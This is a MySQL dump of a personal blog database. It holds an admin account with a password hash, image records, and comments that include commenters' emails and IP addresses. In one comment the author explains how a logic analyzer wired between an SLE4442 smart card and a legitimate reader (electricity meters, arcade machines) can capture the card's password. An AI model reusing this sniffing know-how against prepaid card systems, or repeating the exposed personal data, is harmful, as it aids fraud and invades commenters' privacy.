/*
 Navicat Premium Data Transfer

 Source Server         : localhost_3306
 Source Server Type    : MySQL
 Source Server Version : 50735
 Source Host           : localhost:3306
 Source Schema         : my_blog_db

 Target Server Type    : MySQL
 Target Server Version : 50735
 File Encoding         : 65001

 Date: 17/01/2024 22:46:35
*/

SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;

-- ----------------------------
-- Table structure for tb_admin_user
-- ----------------------------
DROP TABLE IF EXISTS `tb_admin_user`;
CREATE TABLE `tb_admin_user`  (
  `admin_user_id` int(11) NOT NULL AUTO_INCREMENT COMMENT '管理员id',
  `username` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '管理员登陆名称',
  `password` varchar(56) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '管理员登陆密码',
  `nickname` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '管理员显示昵称',
  `email` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL,
  `site` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL,
  PRIMARY KEY (`admin_user_id`) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '后台管理员信息表' ROW_FORMAT = Compact;

-- ----------------------------
-- Records of tb_admin_user
-- ----------------------------
INSERT INTO `tb_admin_user` VALUES (1, 'admin', '81667f60a8c11d4c8e9d2e0670ff24667e6c72d49b0b15562525bcbd', 'Doghole', 'huocaizhu@gmail.com', 'https://qwq.me');

-- ----------------------------
-- Table structure for tb_asset
-- ----------------------------
DROP TABLE IF EXISTS `tb_asset`;
CREATE TABLE `tb_asset`  (
  `asset_id` bigint(20) NOT NULL AUTO_INCREMENT,
  `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL,
  `path` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL,
  `file_type` tinyint(4) NOT NULL DEFAULT 0,
  `file_size` bigint(20) NULL DEFAULT NULL,
  `description` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL,
  `create_time` datetime(0) NULL DEFAULT NULL,
  `update_time` datetime(0) NULL DEFAULT NULL,
  `from_post_id` bigint(20) NULL DEFAULT NULL,
  PRIMARY KEY (`asset_id`) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 113 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Compact;

-- ----------------------------
-- Records of tb_asset
-- ----------------------------
INSERT INTO `tb_asset` VALUES (50, '帅的一批', '/upload/20211207_22095284.jpg', 1, 22383, '', '2021-12-07 22:09:53', '2021-12-07 22:09:53', 145);
INSERT INTO `tb_asset` VALUES (51, 'Lena', '/upload/20211207_22300155.jpg', 1, 310190, '', '2021-12-07 22:30:01', '2021-12-07 22:30:01', 84);
INSERT INTO `tb_asset` VALUES (52, '写文章', '/upload/20211209_15465857.png', 1, 88795, '', '2021-12-09 15:46:58', '2021-12-09 15:46:58', 146);
INSERT INTO `tb_asset` VALUES (53, 'Mybatis Plus 联查', '/upload/20211209_1747569.png', 1, 25141, '', '2021-12-09 17:47:57', '2021-12-09 17:47:57', 146);
INSERT INTO `tb_asset` VALUES (54, '黑手敬你', '/upload/20211211_16300392.gif', 1, 405721, '', '2021-12-11 16:30:04', '2021-12-11 16:30:04', 147);
INSERT INTO `tb_asset` VALUES (55, '吃了个涨停', '/upload/20211211_16320583.png', 1, 1501, '', '2021-12-11 16:32:05', '2021-12-11 16:32:05', 147);
INSERT INTO `tb_asset` VALUES (56, '33.png', '/upload/20211215_13581355.png', 1, 558, '', '2021-12-15 13:58:13', '2021-12-15 13:58:13', 147);
INSERT INTO `tb_asset` VALUES (57, 'CityBoy', '/upload/20211219_15033730.jpg', 1, 86034, '', '2021-12-19 15:03:37', '2021-12-19 15:03:37', 148);
INSERT INTO `tb_asset` VALUES (59, '龙津220113分时', '/upload/20220115_1023520.png', 1, 206586, '', '2022-01-15 10:23:52', '2022-01-15 10:23:52', 153);
INSERT INTO `tb_asset` VALUES (60, 'half-heart.jpg', '/upload/20220209_17100558.jpg', 1, 241365, '', '2022-02-09 17:10:06', '2022-02-09 17:10:06', 155);
INSERT INTO `tb_asset` VALUES (61, '11555m223p789s123z', '/upload/20220314_12222343.png', 1, 17098, '', '2022-03-14 12:22:24', '2022-03-14 12:22:24', 157);
INSERT INTO `tb_asset` VALUES (62, '223m789p11555s123z', '/upload/20220314_14591799.png', 1, 18626, '', '2022-03-14 14:59:17', '2022-03-14 14:59:17', 157);
INSERT INTO `tb_asset` VALUES (63, '11555m.png', '/upload/20220314_15073087.png', 1, 5308, NULL, '2022-03-14 15:07:30', '2022-03-14 15:07:30', 157);
INSERT INTO `tb_asset` VALUES (64, '11155m', '/upload/20220314_15073013.png', 1, 5456, '', '2022-03-14 15:07:30', '2022-03-14 15:07:30', 157);
INSERT INTO `tb_asset` VALUES (65, 'Defense', '/upload/20220414_23311584.jpeg', 1, 646272, '', '2022-04-14 23:31:16', '2022-04-14 23:31:16', 158);
INSERT INTO `tb_asset` VALUES (67, 'QQ截图20220912173918.png', '/upload/20220912_17393112.png', 1, 11109, '', '2022-09-12 17:39:31', '2022-09-12 17:39:31', 165);
INSERT INTO `tb_asset` VALUES (68, 'IMG_20220912_122522.jpg.jpg', '/upload/20220912_17545270.jpg', 1, 490237, '', '2022-09-12 17:54:53', '2022-09-12 17:54:53', 165);
INSERT INTO `tb_asset` VALUES (69, 'IMG_20220912_174956.jpg', '/upload/20220912_17554045.jpg', 1, 394854, '', '2022-09-12 17:55:40', '2022-09-12 17:55:40', 165);
INSERT INTO `tb_asset` VALUES (70, 'tushare_top10floatholders_q1.png', '/upload/20220926_16445061.png', 1, 94146, '', '2022-09-26 16:44:50', '2022-09-26 16:44:50', 166);
INSERT INTO `tb_asset` VALUES (71, 'tushare_top10floatholders_q2.png', '/upload/20220926_16540854.png', 1, 101516, '', '2022-09-26 16:54:09', '2022-09-26 16:54:09', 166);
INSERT INTO `tb_asset` VALUES (72, 'tushare_top10floatholders_q3.png', '/upload/20220926_17004337.png', 1, 102061, '', '2022-09-26 17:00:44', '2022-09-26 17:00:44', 166);
INSERT INTO `tb_asset` VALUES (73, 'text-davinci-003-qna-01', '/upload/20221215_17163966.png', 1, 134957, '', '2022-12-15 17:16:40', '2022-12-15 17:16:40', 167);
INSERT INTO `tb_asset` VALUES (74, 'chatgpt-qna-01', '/upload/20221215_17190021.png', 1, 54775, '', '2022-12-15 17:19:00', '2022-12-15 17:19:00', 167);
INSERT INTO `tb_asset` VALUES (75, 'text-davinci-003-qna-02', '/upload/20221215_17191842.png', 1, 104362, '', '2022-12-15 17:19:19', '2022-12-15 17:19:19', 167);
INSERT INTO `tb_asset` VALUES (77, 'Bleaching Preview', '/upload/20230228_23393276.jpg', 1, 502812, '', '2023-02-28 23:39:32', '2023-02-28 23:39:32', 176);
INSERT INTO `tb_asset` VALUES (78, 'gryffindor', '/upload/20230307_17254969.webp', 1, 73928, '', '2023-03-07 17:25:50', '2023-03-07 17:25:50', 1);
INSERT INTO `tb_asset` VALUES (82, 'GGBOND', '/upload/20230428_01092752.jpg', 1, 40090, '', '2023-04-28 01:09:28', '2023-04-28 01:09:28', 183);
INSERT INTO `tb_asset` VALUES (83, '拿了我的花，跟我走吧', '/upload/20230428_15461423.png', 1, 46383, '', '2023-04-28 15:46:15', '2023-04-28 15:46:15', 183);
INSERT INTO `tb_asset` VALUES (86, '轴向上的模糊转换为极坐标以后就是垂直方向', '/upload/20230608_01261749.jpg', 1, 325061, '', '2023-06-08 01:26:18', '2023-06-08 01:26:18', 187);
INSERT INTO `tb_asset` VALUES (87, '解锁新皮肤', '/upload/20230707_2248542.jpg', 1, 501591, '', '2023-07-07 22:48:54', '2023-07-07 22:48:54', 188);
INSERT INTO `tb_asset` VALUES (88, '叼拿吗', '/upload/20230824_16075018.jpg', 1, 61323, '', '2023-08-24 16:07:50', '2023-08-24 16:07:50', 190);
INSERT INTO `tb_asset` VALUES (89, 'lose-neo.png', '/upload/20231026_01365467.png', 1, 32919, '', '2023-10-26 01:36:54', '2023-10-26 01:36:54', 195);
INSERT INTO `tb_asset` VALUES (90, '换位思考', '/upload/20231119_00204959.png', 1, 5734, '', '2023-11-19 00:20:50', '2023-11-19 00:20:50', 187);
INSERT INTO `tb_asset` VALUES (91, '20230607_15142229.png', '/upload/20231119_00220893.png', 1, 3605, '', '2023-11-19 00:22:09', '2023-11-19 00:22:09', 187);
INSERT INTO `tb_asset` VALUES (92, '你好骚啊', '/upload/20231122_13253592.gif', 1, 467727, '', '2023-11-22 13:25:35', '2023-11-22 13:25:35', 123);
INSERT INTO `tb_asset` VALUES (93, 'sketch', '\\upload\\2023\\12\\20231205_203511909_ZdJTHSIzSyNU.png', 1, 115778, '', '2023-12-05 20:35:12', '2023-12-05 20:35:12', 176);
INSERT INTO `tb_asset` VALUES (94, '心要野.jpg', '\\upload\\2023\\12\\20231207_020838276_F6KeDPcTsL3w.jpg', 1, 44026, '', '2023-12-07 02:08:38', '2023-12-07 02:08:38', 198);
INSERT INTO `tb_asset` VALUES (95, 'emoney-fiddler-resp-syntax.png', '\\upload\\2023\\12\\20231227_143826567_hQU1ozZk7NfF.png', 1, 22184, '', '2023-12-27 14:38:27', '2023-12-27 14:38:27', 210);
INSERT INTO `tb_asset` VALUES (96, '2422-response.png', '\\upload\\2023\\12\\20231227_143848035_KViLQkasHL44.png', 1, 30694, '', '2023-12-27 14:38:48', '2023-12-27 14:38:48', 210);
INSERT INTO `tb_asset` VALUES (97, 'request-response-compare.png', '\\upload\\2023\\12\\20231227_143907636_kQsB7woW94vr.png', 1, 18740, '', '2023-12-27 14:39:08', '2023-12-27 14:39:08', 210);
INSERT INTO `tb_asset` VALUES (98, 'emoney-2422-response-decode.png', '\\upload\\2023\\12\\20231227_143938893_L6kVHYlqUFm0.png', 1, 8976, '', '2023-12-27 14:39:39', '2023-12-27 14:39:39', 210);
INSERT INTO `tb_asset` VALUES (99, 'emoneyfiddler_inspector_emoney.png', '\\upload\\2023\\12\\20231228_131026629_sqsEHTEPMzVn.png', 1, 604556, '', '2023-12-28 13:10:27', '2023-12-28 13:10:27', 212);
INSERT INTO `tb_asset` VALUES (100, 'logform_design.png', '\\upload\\2023\\12\\20231228_140557116_5gsiZyuRPihG.png', 1, 9618, NULL, '2023-12-28 14:05:57', '2023-12-28 14:05:57', 216);
INSERT INTO `tb_asset` VALUES (101, '创建新的_clr_项目.png', '\\upload\\2023\\12\\20231228_140557492_Lq0UJFz5YgB.png', 1, 56753, NULL, '2023-12-28 14:05:57', '2023-12-28 14:05:57', 216);
INSERT INTO `tb_asset` VALUES (102, 'testclrdll.png', '\\upload\\2023\\12\\20231228_140557742_3t0oBA6Y21Is.png', 1, 164624, NULL, '2023-12-28 14:05:58', '2023-12-28 14:05:58', 216);
INSERT INTO `tb_asset` VALUES (103, '外部调试应用程序窗体设计', '\\upload\\2023\\12\\20231228_141216494_RbfoOrXKzfXo.png', 1, 7448, '', '2023-12-28 14:12:16', '2023-12-28 14:12:16', 217);
INSERT INTO `tb_asset` VALUES (104, '管道测试结果', '\\upload\\2023\\12\\20231228_141230731_ijZUKKrWLBQ1.png', 1, 82490, '', '2023-12-28 14:12:31', '2023-12-28 14:12:31', 217);
INSERT INTO `tb_asset` VALUES (105, 'avalonedit.png', '\\upload\\2023\\12\\20231228_142518485_58u5fhqogF6n.png', 1, 10664, NULL, '2023-12-28 14:25:18', '2023-12-28 14:25:18', 218);
INSERT INTO `tb_asset` VALUES (106, 'js函数测试.png', '\\upload\\2023\\12\\20231228_142518564_VVDINFEmhZI.png', 1, 26753, '', '2023-12-28 14:25:19', '2023-12-28 14:25:19', 218);
INSERT INTO `tb_asset` VALUES (112, 'ARAKI', '\\upload\\2024\\01\\20240106_104615893_sV9HYfUIHDT3.png', 1, 451238, '', '2024-01-06 10:46:16', '2024-01-06 10:46:16', 199);

-- ----------------------------
-- Table structure for tb_comment
-- ----------------------------
DROP TABLE IF EXISTS `tb_comment`;
CREATE TABLE `tb_comment`  (
  `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键id',
  `post_id` bigint(20) NOT NULL DEFAULT 0 COMMENT '关联的blog主键',
  `reply_to` bigint(20) NOT NULL DEFAULT -1 COMMENT '回复给谁',
  `level` int(6) NOT NULL DEFAULT 0,
  `author` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT '' COMMENT '评论者名称',
  `email` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT '' COMMENT '评论人的邮箱',
  `url` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT '' COMMENT '网址',
  `content` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '评论内容',
  `create_time` datetime(0) NOT NULL DEFAULT CURRENT_TIMESTAMP(0) COMMENT '评论提交时间',
  `ip` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT '' COMMENT '评论时的ip地址',
  `agent` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL,
  `comment_status` tinyint(4) NOT NULL DEFAULT 0 COMMENT '是否审核通过 0-未审核 1-审核通过',
  `spam_status` tinyint(4) NOT NULL DEFAULT 0,
  `is_deleted` tinyint(4) NOT NULL DEFAULT 0 COMMENT '是否删除 0-未删除 1-已删除',
  `is_markdown` tinyint(4) NOT NULL DEFAULT 0 COMMENT '是否markdown',
  `subscribe_reply` tinyint(4) UNSIGNED NOT NULL DEFAULT 0,
  `mail_sent` tinyint(4) UNSIGNED NOT NULL DEFAULT 0,
  PRIMARY KEY (`id`) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 419 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '评论信息表' ROW_FORMAT = Compact;

-- ----------------------------
-- Records of tb_comment
-- ----------------------------
INSERT INTO `tb_comment` VALUES (155, 3, -1, 0, 'Leko', 'rexx0520@gmail.com', NULL, '博主您好\r\n想请问您是否还留着这张 4442 的金手指卡片呢?\r\n是否可以卖给我... 我没有门路制作电路板\r\n用手黏胶带总是松脱 qwq ', '2020-06-11 01:03:32', '140.115.152.11', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (156, 3, -1, 0, 'Leko', 'rexx0520@gmail.com', NULL, 'BTW 有 pcb gerber 档案也可以（？\r\n谢谢博主', '2020-06-11 03:47:43', '114.137.0.27', 'Mozilla/5.0 (Linux; Android 9; HTC_2Q4D100) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.96 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (157, 3, 156, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://smileat.me', '@Leko 卡片一时半会找不到了，但是用 Altium Designer 画的电路图还在。我发给你 gavatar 绑的邮箱吧。你要打板的话可以上淘宝打薄点的板，厚板的话大多数读卡器是插不进去的。', '2020-06-11 21:47:50', '222.216.18.226', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (158, 3, -1, 0, 'zin', 'zin8@foxmail.com', NULL, '博主示意图画的好棒，清新清晰，是手绘嘛还是什么软件？\r\n另外同求这块PCB电路板~~', '2020-07-09 17:40:50', '95.179.141.96', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (159, 3, 158, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://smileat.me', '@zin Sorry这么晚才回复你 是手绘板+PS 手绘，PCB电路板我发你 gavatar 绑的邮箱', '2020-07-15 02:37:51', '116.252.95.106', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (160, 3, 159, 2, 'zin', 'zin8@foxmail.com', NULL, '@Doghole 多谢啦 收到邮件了。博主真好~~', '2020-07-15 17:26:57', '222.90.67.226', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (161, 3, 160, 3, 'Doghole', 'huocaizhu@gmail.com', 'http://smileat.me', '@zin 不客气~', '2020-07-16 01:08:00', '116.252.95.106', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (162, 3, -1, 0, '月光', 'prospero9@163.com', NULL, '博主这配图太赞了，有种能文能武的感觉哈哈\r\n同求这块pcb电路板', '2020-08-16 23:45:57', '13.76.155.36', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (163, 3, 162, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://smileat.me', '已发~', '2020-08-24 10:59:28', '13.75.122.37', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (164, 3, 163, 2, '月光', 'prospero9@163.com', NULL, '@Doghole 感谢博主，收到啦', '2020-08-25 11:29:33', '123.139.17.131', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (165, 3, -1, 0, 'wwt', '2506065895@qq.com', 'http://www.wwtong.xyz', '博主，4442的pcb文件能发一份吗，谢谢了', '2020-11-03 23:03:07', '117.136.79.46', 'Mozilla/5.0 (Linux; U; Android 8.0zh-cn; ONEPLUS A5000 Build/PKQ1.180716.001) AppleWebKit/537.36 (KHTML, like Gecko)Version/4.0 Chrome/57.0.2987.132 MQQBrowser/8.1 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (166, 3, 165, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://smileat.me', '@wwt 已发', '2020-11-05 12:38:31', '13.70.27.46', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (167, 3, -1, 0, 'Meow', 'Mason901012@gmail.com', 'https://t.me/MMMEEOWWW', '好想認識二狗～(再看了這整個blog之後\r\n目前是台灣某大學大一的學生\r\n想要深入瞭解接觸式IC卡\r\n但看完整篇，沒幾個字能看懂\r\n更甭說實現文內的方法\r\n希望能提供些入門的文章(搜了好久，都看不太懂，嘆\r\n讓我摸索學習學習～\r\n', '2020-12-04 15:56:44', '1.200.92.103', 'Mozilla/5.0 (Linux; Android 10; MI MAX 3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.86 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (168, 3, 167, 1, 'Doghole', 'huocaizhu@gmail.com', NULL, '我回复的可能会有些晚，同时我也不常用 Telegram。回复有些长，耐心看一下，我相信一定会有帮助的\n\nSLE4442 主要还是看官方的说明书（SIEMENS），但是中文说明书可能少一些。\n\n我大概找了下，可以看下 [这篇文章](https://wenku.baidu.com/view/c74fc40477232f60ddcca179.html) 。\n\n然后大陆这边出了仿卡，复旦大学的**FM4442**，和 SLE4442 的通信协议基本全兼容的，所以你转个方向去找 FM4442 的资料可能会方便一些\n\n除此之外，你需要了解什么是字节（byte），什么是位（bit），以及十六进制和二进制。因为这是数据的基本格式。\n\n我可以大概说一下\n\n首先要了解加密卡的原理，无论是接触式还是非接触式，都大致一样的\n这个卡片里面的芯片，你把它当成一个小的计算机，平时不通电，只有在读卡器上才会通电\n接触式就是直接给触点上电，非接触式就是通过电磁感应，给卡里面的线圈激励一个磁场产生电流，芯片就上电了\n你可以找几张非接触式的卡，拿手机补光灯从背面照一下看看，可以看到里面的线圈和芯片的\n\n扯远了，回到卡片上来，继续拿 SLE4442 举例\nVCC 和 GND 这两个触点就是这个计算机的插头\n你上电以后，卡片里面的小计算机就开始随时准备着你给它发送数据了\n\n但是它毕竟不够智能，只能说按照一定的规则给它发\n也就是说，你给它发的数据，要告诉它你要干什么，以及准备怎么干\n\n比如你要验证密码，那你得先告诉它：我要验证密码啦；然后它说可以；然后你才把密码发过去给它；它会告诉你验证通过还是失败。\n如果验证通过了，那么在卡片下电之前，你都可以随便对卡片里面存储的数据做任何事，只要它支持这些功能。如果验证失败了，卡片会记住失败的次数，超过3次，这张卡就锁死了！（不同卡允许的错误计数不一样，比如非接触式的M1卡错误计数最高是16次）\n\n然后读写数据也一样，你告诉它你要开始读啦，他说你读吧，我说我要读你存储区域里面从哪里到哪里的数据，它就会传这些数据给你。\n\n告诉卡片你要干什么，其实就是命令的某种标志，称为“命令字”，比如文中说的`0x33`就是验证密码的命令字。根据命令字我们可以对照文档，知道通讯过程中某段数据的意义。\n\n好了，大概知道通讯的流程了，但是具体到电气上面要怎么实现呢，答案是：高电平和低电平。\n前面有说到，数据都是字节，一个字节又可以分成 8 位，每一位只有 2 种状态，那就是 0 和 1（二进制）\n比如十六进制字节`AC`，转成二进制就是`1010 1101`\n但是你给卡片发过去的时候，是从低位开始发的，也就是从右到左一位一位发，发过去就是`10110101`\n那具体到卡片上，我们约定 1 就是高电平，0 就是低电平。我给你上个高电平，再给你个低电平，就相当于我给你说了：10\n卡片上的I/O（或者叫DATA）触点就是干这个的。\n\n但是问题来了，要是连续要给卡片发好几个 1 怎么办，卡片怎么区分出来是几个 1，这时候就要涉及到第三个东西：时钟频率。\n我这边一直给卡片发一个固定间隔的高电平低电平交替，比如 01010101，假设一秒一个，那一个周期就是两秒，频率是0.5Hz\n卡片这边跟着我的节奏一起摇摆，就知道我的时钟频率是 0.5Hz 了，也就是两秒一个 I/O 数据\n卡片上的 CLK 触点就是干这个的。\n\n然后我给卡片发`AC`这个字节，就简单了：\n首先`AC`转成二进制`10101101`，逆序一下：`10110101`，然后我给 I/O 加上 2s 高，2s 低，4s 高，2s 低，2s 高，2s 低，2s 高\n卡片就收到了`10110101`，也就是说我的`AC`这个字节已经发过去了\n\n实际上通讯会更加复杂一点，因为每次发数据之前都要等我这边和卡片时钟同步完成才会发\n而且卡片的频率肯定更加高，不然两秒一个bit实在是太慢了\n至于为什么转成二进制之后逆序发过去，这个和计算机底层的实现有关，这个叫栈（Stack），一个后进先出的数据结构，这里不展开讲了\n\n好了，既然数据归根结底是高电平和低电平，那要是我们有了一个超级灵敏的电压表，通过测量通信过程中 I/O 口上面是高电平还是低电平，不就可以记录下来读卡器给卡片发了什么数据了吗？\n我是不知道密码是多少，但是那些合法的设备，比如电表、电玩城充值机知道呀，每次插卡进去它们肯定都会先给卡验证密码，不然卡肯定是六亲不认的\n那好办，我把这个超灵敏的电压表往卡片和设备中间一加，就可以读出密码到底是多少了\n这个超灵敏的电压表，就是逻辑分析仪。只要分析逻辑分析仪采集到的高低电平的波形，就能够反推出密码来了！\n\n大概原理是这样。不懂再问我噢。\n', '2020-12-06 02:54:49', '13.70.27.107', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (169, 3, 167, 1, 'Meow', 'Mason901012@gmail.com', 'https://t.me/MMMEEOWWW', '@Meow 哎呀媽呀，真的回了，好感動\r\n二狗人好好\r\n我終於獨懂電平的意思了！！！\r\n*大陸用法跟台灣不太一樣*\r\nQ1:鎖卡的機制是採硬體熔斷嗎?\r\n準備剁手邏輯分析儀一枚，慢慢摸索\r\n另外FM4442的中文資料真的好找很多～\r\n不是看不懂英文，只是每天寫報告跟讀期刊看英文就夠煩的了，哈\r\n再次感謝二狗大人\r\n\r\n\r\n\r\n\r\n', '2020-12-07 13:21:56', '36.239.187.78', 'Mozilla/5.0 (Linux; Android 10; MI MAX 3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.86 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (170, 3, 167, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://smileat.me', '是否是熔断不太记得，有印象的确是熔断，需要你确认一下。\r\n逻辑分析仪有便宜的，大陆淘宝上有8通道24M的逻辑分析仪，才20几元人民币，我用的就是这款，分析SLE4442完全足够。\r\n地址在这里 https://item.taobao.com/item.htm?id=44646837717\r\n不知道现在支不支持发港澳台，或者当地有没有这种卖，你可以找一下。', '2020-12-07 15:51:33', '113.16.60.116', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (171, 3, -1, 0, '月光', 'prospero9@163.com', NULL, '博主有没有qq群或者电报群交流交流，分析了半年小区的电卡数据，没看懂校验位是怎么算的', '2021-01-13 23:52:41', '113.201.129.138', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (172, 3, 171, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://smileat.me', 'TG Group invite link base64：aHR0cHM6Ly90Lm1lL2pvaW5jaGF0L2IwNGNmaEJuVFdBMU5HWTk=', '2021-01-14 11:00:19', '180.139.212.98', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (173, 3, 172, 2, '月光', 'prospero9@163.com', NULL, '@Doghole 已申请', '2021-01-14 21:36:08', '178.128.116.29', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (174, 3, -1, 0, 'Hwllo', 'xiuann0317@gmail.com', NULL, '請求加入telegram群組', '2021-03-09 00:05:53', '42.72.137.174', 'Mozilla/5.0 (Linux; Android 10; ASUS_I002D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (175, 3, -1, 0, 'Hwllo', 'xiuann0317@gmail.com', NULL, '若採用方法一，是不是只要想辦法保持5V供電就行\n若成功保持供電，又如何能以電腦發送命令`FF B1 00 00 04`呢？謝謝！', '2021-03-09 07:29:48', '42.72.137.174', 'Mozilla/5.0 (Linux; Android 10; ASUS_I002D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (176, 3, 175, 1, 'Doghole', 'huocaizhu@gmail.com', NULL, '`FF B1 00 00 04`是支持 APDU 的读卡器命令，我这边通过 ACR 配套软件发送。其他读卡器可能不适用该命令，以具体读卡器配套软件为准。', '2021-03-09 10:15:14', '13.70.31.39', 'Mozilla/5.0 (Linux; Android 10; V2025A; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 VivoBrowser/8.9.15.2', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (177, 3, -1, 0, 'nice', '672191096@qq.com', NULL, '老哥是否还看?,能否分享我一份4442 pcb电路图，万分感谢！', '2021-09-14 12:46:51', '175.153.162.95', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Edg/93.0.961.47', 0, 0, 0, 1, 0, 0);
